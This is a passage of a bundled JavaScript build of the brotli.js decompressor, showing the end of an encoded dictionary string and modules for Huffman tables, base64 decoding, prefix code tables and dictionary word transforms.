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";
5272
5273},{}],6:[function(require,module,exports){
5274/* Copyright 2013 Google Inc. All Rights Reserved.
5275
5276 Licensed under the Apache License, Version 2.0 (the "License");
5277 you may not use this file except in compliance with the License.
5278 You may obtain a copy of the License at
5279
5280 http://www.apache.org/licenses/LICENSE-2.0
5281
5282 Unless required by applicable law or agreed to in writing, software
5283 distributed under the License is distributed on an "AS IS" BASIS,
5284 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
5285 See the License for the specific language governing permissions and
5286 limitations under the License.
5287
5288 Collection of static dictionary words.
5289*/
5290
5291var data = require('./dictionary-browser');
5292exports.init = function() {
5293 exports.dictionary = data.init();
5294};
5295
5296exports.offsetsByLength = new Uint32Array([
5297 0, 0, 0, 0, 0, 4096, 9216, 21504, 35840, 44032,
5298 53248, 63488, 74752, 87040, 93696, 100864, 104704, 106752, 108928, 113536,
5299 115968, 118528, 119872, 121280, 122016,
5300]);
5301
5302exports.sizeBitsByLength = new Uint8Array([
5303 0, 0, 0, 0, 10, 10, 11, 11, 10, 10,
5304 10, 10, 10, 9, 9, 8, 7, 7, 8, 7,
5305 7, 6, 6, 5, 5,
5306]);
5307
5308exports.minDictionaryWordLength = 4;
5309exports.maxDictionaryWordLength = 24;
5310
5311},{"./dictionary-browser":4}],7:[function(require,module,exports){
5312function HuffmanCode(bits, value) {
5313 this.bits = bits; /* number of bits used for this symbol */
5314 this.value = value; /* symbol value or table offset */
5315}
5316
5317exports.HuffmanCode = HuffmanCode;
5318
5319var MAX_LENGTH = 15;
5320
5321/* Returns reverse(reverse(key, len) + 1, len), where reverse(key, len) is the
5322 bit-wise reversal of the len least significant bits of key. */
5323function GetNextKey(key, len) {
5324 var step = 1 << (len - 1);
5325 while (key & step) {
5326 step >>= 1;
5327 }
5328 return (key & (step - 1)) + step;
5329}
5330
5331/* Stores code in table[0], table[step], table[2*step], ..., table[end] */
5332/* Assumes that end is an integer multiple of step */
5333function ReplicateValue(table, i, step, end, code) {
5334 do {
5335 end -= step;
5336 table[i + end] = new HuffmanCode(code.bits, code.value);
5337 } while (end > 0);
5338}
5339
5340/* Returns the table width of the next 2nd level table. count is the histogram
5341 of bit lengths for the remaining symbols, len is the code length of the next
5342 processed symbol */
5343function NextTableBitSize(count, len, root_bits) {
5344 var left = 1 << (len - root_bits);
5345 while (len < MAX_LENGTH) {
5346 left -= count[len];
5347 if (left <= 0) break;
5348 ++len;
5349 left <<= 1;
5350 }
5351 return len - root_bits;
5352}
5353
5354exports.BrotliBuildHuffmanTable = function(root_table, table, root_bits, code_lengths, code_lengths_size) {
5355 var start_table = table;
5356 var code; /* current table entry */
5357 var len; /* current code length */
5358 var symbol; /* symbol index in original or sorted table */
5359 var key; /* reversed prefix code */
5360 var step; /* step size to replicate values in current table */
5361 var low; /* low bits for current root entry */
5362 var mask; /* mask for low bits */
5363 var table_bits; /* key length of current table */
5364 var table_size; /* size of current table */
5365 var total_size; /* sum of root table size and 2nd level table sizes */
5366 var sorted; /* symbols sorted by code length */
5367 var count = new Int32Array(MAX_LENGTH + 1); /* number of codes of each length */
5368 var offset = new Int32Array(MAX_LENGTH + 1); /* offsets in sorted table for each length */
5369
5370 sorted = new Int32Array(code_lengths_size);
5371
5372 /* build histogram of code lengths */
5373 for (symbol = 0; symbol < code_lengths_size; symbol++) {
5374 count[code_lengths[symbol]]++;
5375 }
5376
5377 /* generate offsets into sorted symbol table by code length */
5378 offset[1] = 0;
5379 for (len = 1; len < MAX_LENGTH; len++) {
5380 offset[len + 1] = offset[len] + count[len];
5381 }
5382
5383 /* sort symbols by length, by symbol order within each length */
5384 for (symbol = 0; symbol < code_lengths_size; symbol++) {
5385 if (code_lengths[symbol] !== 0) {
5386 sorted[offset[code_lengths[symbol]]++] = symbol;
5387 }
5388 }
5389
5390 table_bits = root_bits;
5391 table_size = 1 << table_bits;
5392 total_size = table_size;
5393
5394 /* special case code with only one value */
5395 if (offset[MAX_LENGTH] === 1) {
5396 for (key = 0; key < total_size; ++key) {
5397 root_table[table + key] = new HuffmanCode(0, sorted[0] & 0xffff);
5398 }
5399
5400 return total_size;
5401 }
5402
5403 /* fill in root table */
5404 key = 0;
5405 symbol = 0;
5406 for (len = 1, step = 2; len <= root_bits; ++len, step <<= 1) {
5407 for (; count[len] > 0; --count[len]) {
5408 code = new HuffmanCode(len & 0xff, sorted[symbol++] & 0xffff);
5409 ReplicateValue(root_table, table + key, step, table_size, code);
5410 key = GetNextKey(key, len);
5411 }
5412 }
5413
5414 /* fill in 2nd level tables and add pointers to root table */
5415 mask = total_size - 1;
5416 low = -1;
5417 for (len = root_bits + 1, step = 2; len <= MAX_LENGTH; ++len, step <<= 1) {
5418 for (; count[len] > 0; --count[len]) {
5419 if ((key & mask) !== low) {
5420 table += table_size;
5421 table_bits = NextTableBitSize(count, len, root_bits);
5422 table_size = 1 << table_bits;
5423 total_size += table_size;
5424 low = key & mask;
5425 root_table[start_table + low] = new HuffmanCode((table_bits + root_bits) & 0xff, ((table - start_table) - low) & 0xffff);
5426 }
5427 code = new HuffmanCode((len - root_bits) & 0xff, sorted[symbol++] & 0xffff);
5428 ReplicateValue(root_table, table + (key >> root_bits), step, table_size, code);
5429 key = GetNextKey(key, len);
5430 }
5431 }
5432
5433 return total_size;
5434}
5435
5436},{}],8:[function(require,module,exports){
5437'use strict'
5438
5439exports.byteLength = byteLength
5440exports.toByteArray = toByteArray
5441exports.fromByteArray = fromByteArray
5442
5443var lookup = []
5444var revLookup = []
5445var Arr = typeof Uint8Array !== 'undefined' ? Uint8Array : Array
5446
5447var code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
5448for (var i = 0, len = code.length; i < len; ++i) {
5449 lookup[i] = code[i]
5450 revLookup[code.charCodeAt(i)] = i
5451}
5452
5453// Support decoding URL-safe base64 strings, as Node.js does.
5454// See: https://en.wikipedia.org/wiki/Base64#URL_applications
5455revLookup['-'.charCodeAt(0)] = 62
5456revLookup['_'.charCodeAt(0)] = 63
5457
5458function getLens (b64) {
5459 var len = b64.length
5460
5461 if (len % 4 > 0) {
5462 throw new Error('Invalid string. Length must be a multiple of 4')
5463 }
5464
5465 // Trim off extra bytes after placeholder bytes are found
5466 // See: https://github.com/beatgammit/base64-js/issues/42
5467 var validLen = b64.indexOf('=')
5468 if (validLen === -1) validLen = len
5469
5470 var placeHoldersLen = validLen === len
5471 ? 0
5472 : 4 - (validLen % 4)
5473
5474 return [validLen, placeHoldersLen]
5475}
5476
5477// base64 is 4/3 + up to two characters of the original data
5478function byteLength (b64) {
5479 var lens = getLens(b64)
5480 var validLen = lens[0]
5481 var placeHoldersLen = lens[1]
5482 return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
5483}
5484
5485function _byteLength (b64, validLen, placeHoldersLen) {
5486 return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
5487}
5488
5489function toByteArray (b64) {
5490 var tmp
5491 var lens = getLens(b64)
5492 var validLen = lens[0]
5493 var placeHoldersLen = lens[1]
5494
5495 var arr = new Arr(_byteLength(b64, validLen, placeHoldersLen))
5496
5497 var curByte = 0
5498
5499 // if there are placeholders, only get up to the last complete 4 chars
5500 var len = placeHoldersLen > 0
5501 ? validLen - 4
5502 : validLen
5503
5504 for (var i = 0; i < len; i += 4) {
5505 tmp =
5506 (revLookup[b64.charCodeAt(i)] << 18) |
5507 (revLookup[b64.charCodeAt(i + 1)] << 12) |
5508 (revLookup[b64.charCodeAt(i + 2)] << 6) |
5509 revLookup[b64.charCodeAt(i + 3)]
5510 arr[curByte++] = (tmp >> 16) & 0xFF
5511 arr[curByte++] = (tmp >> 8) & 0xFF
5512 arr[curByte++] = tmp & 0xFF
5513 }
5514
5515 if (placeHoldersLen === 2) {
5516 tmp =
5517 (revLookup[b64.charCodeAt(i)] << 2) |
5518 (revLookup[b64.charCodeAt(i + 1)] >> 4)
5519 arr[curByte++] = tmp & 0xFF
5520 }
5521
5522 if (placeHoldersLen === 1) {
5523 tmp =
5524 (revLookup[b64.charCodeAt(i)] << 10) |
5525 (revLookup[b64.charCodeAt(i + 1)] << 4) |
5526 (revLookup[b64.charCodeAt(i + 2)] >> 2)
5527 arr[curByte++] = (tmp >> 8) & 0xFF
5528 arr[curByte++] = tmp & 0xFF
5529 }
5530
5531 return arr
5532}
5533
5534function tripletToBase64 (num) {
5535 return lookup[num >> 18 & 0x3F] +
5536 lookup[num >> 12 & 0x3F] +
5537 lookup[num >> 6 & 0x3F] +
5538 lookup[num & 0x3F]
5539}
5540
5541function encodeChunk (uint8, start, end) {
5542 var tmp
5543 var output = []
5544 for (var i = start; i < end; i += 3) {
5545 tmp =
5546 ((uint8[i] << 16) & 0xFF0000) +
5547 ((uint8[i + 1] << 8) & 0xFF00) +
5548 (uint8[i + 2] & 0xFF)
5549 output.push(tripletToBase64(tmp))
5550 }
5551 return output.join('')
5552}
5553
5554function fromByteArray (uint8) {
5555 var tmp
5556 var len = uint8.length
5557 var extraBytes = len % 3 // if we have 1 byte left, pad 2 bytes
5558 var parts = []
5559 var maxChunkLength = 16383 // must be multiple of 3
5560
5561 // go through the array every three bytes, we'll deal with trailing stuff later
5562 for (var i = 0, len2 = len - extraBytes; i < len2; i += maxChunkLength) {
5563 parts.push(encodeChunk(
5564 uint8, i, (i + maxChunkLength) > len2 ? len2 : (i + maxChunkLength)
5565 ))
5566 }
5567
5568 // pad the end with zeros, but make sure to not forget the extra bytes
5569 if (extraBytes === 1) {
5570 tmp = uint8[len - 1]
5571 parts.push(
5572 lookup[tmp >> 2] +
5573 lookup[(tmp << 4) & 0x3F] +
5574 '=='
5575 )
5576 } else if (extraBytes === 2) {
5577 tmp = (uint8[len - 2] << 8) + uint8[len - 1]
5578 parts.push(
5579 lookup[tmp >> 10] +
5580 lookup[(tmp >> 4) & 0x3F] +
5581 lookup[(tmp << 2) & 0x3F] +
5582 '='
5583 )
5584 }
5585
5586 return parts.join('')
5587}
5588
5589},{}],9:[function(require,module,exports){
5590/* Copyright 2013 Google Inc. All Rights Reserved.
5591
5592 Licensed under the Apache License, Version 2.0 (the "License");
5593 you may not use this file except in compliance with the License.
5594 You may obtain a copy of the License at
5595
5596 http://www.apache.org/licenses/LICENSE-2.0
5597
5598 Unless required by applicable law or agreed to in writing, software
5599 distributed under the License is distributed on an "AS IS" BASIS,
5600 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
5601 See the License for the specific language governing permissions and
5602 limitations under the License.
5603
5604 Lookup tables to map prefix codes to value ranges. This is used during
5605 decoding of the block lengths, literal insertion lengths and copy lengths.
5606*/
5607
5608/* Represents the range of values belonging to a prefix code: */
5609/* [offset, offset + 2^nbits) */
5610function PrefixCodeRange(offset, nbits) {
5611 this.offset = offset;
5612 this.nbits = nbits;
5613}
5614
5615exports.kBlockLengthPrefixCode = [
5616 new PrefixCodeRange(1, 2), new PrefixCodeRange(5, 2), new PrefixCodeRange(9, 2), new PrefixCodeRange(13, 2),
5617 new PrefixCodeRange(17, 3), new PrefixCodeRange(25, 3), new PrefixCodeRange(33, 3), new PrefixCodeRange(41, 3),
5618 new PrefixCodeRange(49, 4), new PrefixCodeRange(65, 4), new PrefixCodeRange(81, 4), new PrefixCodeRange(97, 4),
5619 new PrefixCodeRange(113, 5), new PrefixCodeRange(145, 5), new PrefixCodeRange(177, 5), new PrefixCodeRange(209, 5),
5620 new PrefixCodeRange(241, 6), new PrefixCodeRange(305, 6), new PrefixCodeRange(369, 7), new PrefixCodeRange(497, 8),
5621 new PrefixCodeRange(753, 9), new PrefixCodeRange(1265, 10), new PrefixCodeRange(2289, 11), new PrefixCodeRange(4337, 12),
5622 new PrefixCodeRange(8433, 13), new PrefixCodeRange(16625, 24)
5623];
5624
5625exports.kInsertLengthPrefixCode = [
5626 new PrefixCodeRange(0, 0), new PrefixCodeRange(1, 0), new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0),
5627 new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0), new PrefixCodeRange(6, 1), new PrefixCodeRange(8, 1),
5628 new PrefixCodeRange(10, 2), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 3), new PrefixCodeRange(26, 3),
5629 new PrefixCodeRange(34, 4), new PrefixCodeRange(50, 4), new PrefixCodeRange(66, 5), new PrefixCodeRange(98, 5),
5630 new PrefixCodeRange(130, 6), new PrefixCodeRange(194, 7), new PrefixCodeRange(322, 8), new PrefixCodeRange(578, 9),
5631 new PrefixCodeRange(1090, 10), new PrefixCodeRange(2114, 12), new PrefixCodeRange(6210, 14), new PrefixCodeRange(22594, 24),
5632];
5633
5634exports.kCopyLengthPrefixCode = [
5635 new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0), new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0),
5636 new PrefixCodeRange(6, 0), new PrefixCodeRange(7, 0), new PrefixCodeRange(8, 0), new PrefixCodeRange(9, 0),
5637 new PrefixCodeRange(10, 1), new PrefixCodeRange(12, 1), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 2),
5638 new PrefixCodeRange(22, 3), new PrefixCodeRange(30, 3), new PrefixCodeRange(38, 4), new PrefixCodeRange(54, 4),
5639 new PrefixCodeRange(70, 5), new PrefixCodeRange(102, 5), new PrefixCodeRange(134, 6), new PrefixCodeRange(198, 7),
5640 new PrefixCodeRange(326, 8), new PrefixCodeRange(582, 9), new PrefixCodeRange(1094, 10), new PrefixCodeRange(2118, 24),
5641];
5642
5643exports.kInsertRangeLut = [
5644 0, 0, 8, 8, 0, 16, 8, 16, 16,
5645];
5646
5647exports.kCopyRangeLut = [
5648 0, 8, 0, 8, 16, 0, 16, 8, 16,
5649];
5650
5651},{}],10:[function(require,module,exports){
5652function BrotliInput(buffer) {
5653 this.buffer = buffer;
5654 this.pos = 0;
5655}
5656
5657BrotliInput.prototype.read = function(buf, i, count) {
5658 if (this.pos + count > this.buffer.length) {
5659 count = this.buffer.length - this.pos;
5660 }
5661
5662 for (var p = 0; p < count; p++)
5663 buf[i + p] = this.buffer[this.pos + p];
5664
5665 this.pos += count;
5666 return count;
5667}
5668
5669exports.BrotliInput = BrotliInput;
5670
5671function BrotliOutput(buf) {
5672 this.buffer = buf;
5673 this.pos = 0;
5674}
5675
5676BrotliOutput.prototype.write = function(buf, count) {
5677 if (this.pos + count > this.buffer.length)
5678 throw new Error('Output buffer is not large enough');
5679
5680 this.buffer.set(buf.subarray(0, count), this.pos);
5681 this.pos += count;
5682 return count;
5683};
5684
5685exports.BrotliOutput = BrotliOutput;
5686
5687},{}],11:[function(require,module,exports){
5688/* Copyright 2013 Google Inc. All Rights Reserved.
5689
5690 Licensed under the Apache License, Version 2.0 (the "License");
5691 you may not use this file except in compliance with the License.
5692 You may obtain a copy of the License at
5693
5694 http://www.apache.org/licenses/LICENSE-2.0
5695
5696 Unless required by applicable law or agreed to in writing, software
5697 distributed under the License is distributed on an "AS IS" BASIS,
5698 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
5699 See the License for the specific language governing permissions and
5700 limitations under the License.
5701
5702 Transformations on dictionary words.
5703*/
5704
5705var BrotliDictionary = require('./dictionary');
5706
5707var kIdentity = 0;
5708var kOmitLast1 = 1;
5709var kOmitLast2 = 2;
5710var kOmitLast3 = 3;
5711var kOmitLast4 = 4;
5712var kOmitLast5 = 5;
5713var kOmitLast6 = 6;
5714var kOmitLast7 = 7;
5715var kOmitLast8 = 8;
5716var kOmitLast9 = 9;
5717var kUppercaseFirst = 10;
5718var kUppercaseAll = 11;
5719var kOmitFirst1 = 12;
5720var kOmitFirst2 = 13;
5721var kOmitFirst3 = 14;
5722var kOmitFirst4 = 15;
5723var kOmitFirst5 = 16;
5724var kOmitFirst6 = 17;
5725var kOmitFirst7 = 18;
5726var kOmitFirst8 = 19;
5727var kOmitFirst9 = 20;
5728
5729function Transform(prefix, transform, suffix) {
5730 this.prefix = new Uint8Array(prefix.length);
5731 this.transform = transform;
5732 this.suffix = new Uint8Array(suffix.length);
5733
5734 for (var i = 0; i < prefix.length; i++)
5735 this.prefix[i] = prefix.charCodeAt(i);
5736
5737 for (var i = 0; i < suffix.length; i++)
5738 this.suffix[i] = suffix.charCodeAt(i);
5739}
5740
5741var kTransforms = [
5742 new Transform( "", kIdentity, "" ),
5743 new Transform( "", kIdentity, " " ),
5744 new Transform( " ", kIdentity, " " ),
5745 new Transform( "", kOmitFirst1, "" ),
5746 new Transform( "", kUppercaseFirst, " " ),
5747 new Transform( "", kIdentity, " the " ),
5748 new Transform( " ", kIdentity, "" ),
5749 new Transform( "s ", kIdentity, " " ),
5750 new Transform( "", kIdentity, " of " ),
5751 new Transform( "", kUppercaseFirst, "" ),
5752 new Transform( "", kIdentity, " and " ),
5753 new Transform( "", kOmitFirst2, "" ),
5754 new Transform( "", kOmitLast1, "" ),
5755 new Transform( ", ", kIdentity, " " ),
5756 new Transform( "", kIdentity, ", " ),
5757 new Transform( " ", kUppercaseFirst, " " ),
5758 new Transform( "", kIdentity, " in " ),
5759 new Transform( "", kIdentity, " to " ),
5760 new Transform( "e ", kIdentity, " " ),
5761 new Transform( "", kIdentity, "\"" ),
5762 new Transform( "", kIdentity, "." ),
5763 new Transform( "", kIdentity, "\">" ),
5764 new Transform( "", kIdentity, "\n" ),
5765 new Transform( "", kOmitLast3, "" ),
5766 new Transform( "", kIdentity, "]" ),
5767 new Transform( "", kIdentity, " for " ),
5768 new Transform( "", kOmitFirst3, "" ),
5769 new Transform( "", kOmitLast2, "" ),
5770 new Transform( "", kIdentity, " a " ),
5771 new Transform( "", kIdentity, " that " ),
5772 new Transform( " ", kUppercaseFirst, "" ),
5773 new Transform( "", kIdentity, ". " ),
5774 new Transform( ".", kIdentity, "" ),
5775 new Transform( " ", kIdentity, ", " ),
5776 new Transform( "", kOmitFirst4, "" ),
5777 new Transform( "", kIdentity, " with " ),
5778 new Transform( "", kIdentity, "'" ),
5779 new Transform( "", kIdentity, " from " ),
5780 new Transform( "", kIdentity, " by " ),
5781 new Transform( "", kOmitFirst5, "" ),
5782 new Transform( "", kOmitFirst6, "" ),
5783 new Transform( " the ", kIdentity, "" ),
5784 new Transform( "", kOmitLast4, "" ),
5785 new Transform( "", kIdentity, ". The " ),
5786 new Transform( "", kUppercaseAll, "" ),
5787 new Transform( "", kIdentity, " on " ),
5788 new Transform( "", kIdentity, " as " ),
5789 new Transform( "", kIdentity, " is " ),
5790 new Transform( "", kOmitLast7, "" ),
5791 new Transform( "", kOmitLast1, "ing " ),
5792 new Transform( "", kIdentity, "\n\t" ),
5793 new Transform( "", kIdentity, ":" ),
5794 new Transform( " ", kIdentity, ". " ),
5795 new Transform( "", kIdentity, "ed " ),
5796 new Transform( "", kOmitFirst9, "" ),
5797 new Transform( "", kOmitFirst7, "" ),
5798 new Transform( "", kOmitLast6, "" ),
5799 new Transform( "", kIdentity, "(" ),
5800 new Transform( "", kUppercaseFirst, ", " ),
5801 new Transform( "", kOmitLast8, "" ),
5802 new Transform( "", kIdentity, " at " ),
5803 new Transform( "", kIdentity, "ly " ),
5804 new Transform( " the ", kIdentity, " of " ),
5805 new Transform( "", kOmitLast5, "" ),
5806 new Transform( "", kOmitLast9, "" ),
5807 new Transform( " ", kUppercaseFirst, ", " ),
5808 new Transform( "", kUppercaseFirst, "\"" ),
5809 new Transform( ".", kIdentity, "(" ),
5810 new Transform( "", kUppercaseAll, " " ),
5811 new Transform( "", kUppercaseFirst, "\">" ),
5812 new Transform( "", kIdentity, "=\"" ),
5813 new Transform( " ", kIdentity, "." ),
5814 new Transform( ".com/", kIdentity, "" ),
5815 new Transform( " the ", kIdentity, " of the " ),
5816 new Transform( "", kUppercaseFirst, "'" ),
5817 new Transform( "", kIdentity, ". This " ),
5818 new Transform( "", kIdentity, "," ),
5819 new Transform( ".", kIdentity, " " ),
5820 new Transform( "", kUppercaseFirst, "(" ),
5821 new Transform( "", kUppercaseFirst, "." ),
5822 new Transform( "", kIdentity, " not " ),
5823 new Transform( " ", kIdentity, "=\"" ),
5824 new Transform( "", kIdentity, "er " ),
5825 new Transform( " ", kUppercaseAll, " " ),
5826 new Transform( "", kIdentity, "al " ),
5827 new Transform( " ", kUppercaseAll, "" ),
5828 new Transform( "", kIdentity, "='" ),
5829 new Transform( "", kUppercaseAll, "\"" ),
5830 new Transform( "", kUppercaseFirst, ". " ),
5831 new Transform( " ", kIdentity, "(" ),
5832 new Transform( "", kIdentity, "ful " ),
5833 new Transform( " ", kUppercaseFirst, ". " ),
5834 new Transform( "", kIdentity, "ive " ),
5835 new Transform( "", kIdentity, "less " ),
5836 new Transform( "", kUppercaseAll, "'" ),
5837 new Transform( "", kIdentity, "est " ),
5838 new Transform( " ", kUppercaseFirst, "." ),
5839 new Transform( "", kUppercaseAll, "\">" ),
5840 new Transform( " ", kIdentity, "='" ),
5841 new Transform( "", kUppercaseFirst, "," ),
5842 new Transform( "", kIdentity, "ize " ),
5843 new Transform( "", kUppercaseAll, "." ),
5844 new Transform( "\xc2\xa0", kIdentity, "" ),
5845 new Transform( " ", kIdentity, "," ),
5846 new Transform( "", kUppercaseFirst, "=\"" ),
5847 new Transform( "", kUppercaseAll, "=\"" ),
5848 new Transform( "", kIdentity, "ous " ),
5849 new Transform( "", kUppercaseAll, ", " ),
5850 new Transform( "", kUppercaseFirst, "='" ),
5851 new Transform( " ", kUppercaseFirst, "," ),
5852 new Transform( " ", kUppercaseAll, "=\"" ),
5853 new Transform( " ", kUppercaseAll, ", " ),
5854 new Transform( "", kUppercaseAll, "," ),
5855 new Transform( "", kUppercaseAll, "(" ),
5856 new Transform( "", kUppercaseAll, ". " ),
5857 new Transform( " ", kUppercaseAll, "." ),
5858 new Transform( "", kUppercaseAll, "='" ),
5859 new Transform( " ", kUppercaseAll, ". " ),
5860 new Transform( " ", kUppercaseFirst, "=\"" ),
5861 new Transform( " ", kUppercaseAll, "='" ),
5862 new Transform( " ", kUppercaseFirst, "='" )
5863];
5864
5865exports.kTransforms = kTransforms;
5866exports.kNumTransforms = kTransforms.length;
5867
5868function ToUpperCase(p, i) {
5869 if (p[i] < 0xc0) {
5870 if (p[i] >= 97 && p[i] <= 122) {
5871 p[i] ^= 32;
5872 }
5873 return 1;
5874 }
5875
5876 /* An overly simplified uppercasing model for utf-8. */
5877 if (p[i] < 0xe0) {
5878 p[i + 1] ^= 32;
5879 return 2;
5880 }
5881
5882 /* An arbitrary transform for three byte characters. */
5883 p[i + 2] ^= 5;
5884 return 3;
5885}
5886
5887exports.transformDictionaryWord = function(dst, idx, word, len, transform) {
